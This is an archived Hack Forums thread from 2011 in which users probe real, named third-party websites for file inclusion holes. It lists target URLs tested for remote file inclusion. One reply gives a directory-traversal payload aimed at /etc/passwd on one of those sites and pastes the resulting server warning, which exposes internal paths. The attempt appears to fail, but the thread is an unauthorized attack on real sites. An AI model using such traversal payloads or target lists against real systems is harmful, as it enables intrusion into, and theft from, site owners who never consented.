+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: These are not vulnerable to RFI, but are these vulnerable to LFI? (/showthread.php?tid=1545685)
These are not vulnerable to RFI, but are these vulnerable to LFI? - ***** - Jul 31, 2011
http://www.khaocookingschool.com/photo/page.php?open=http://www.google.ca/
http://eropa2011.nida.ac.th/page.php?open=http://www.google.ca/
http://www.wealth360degree.com/page.php?open=http://www.google.ca/
does the error message say anything about this?
thanks🤝
* - Kanuusan - Aug 1, 2011
http://www.khaocookingschool.com/photo/page.php?open=../../../../../../../etc/passwd
Warning: include() [function.include]: open_basedir restriction in effect. File(./../../../../../../../etc/passwd.php) is not within the allowed path(s): (/home/www/virtual/khaocookingschool.com/:/usr/share/php:/tmp) in /home/www/virtual/khaocookingschool.com/htdocs/photo/page.php on line 34
It's restricted to some directories.
* - pwntoken - Aug 1, 2011
Virtual directory listings are not allowed. LOL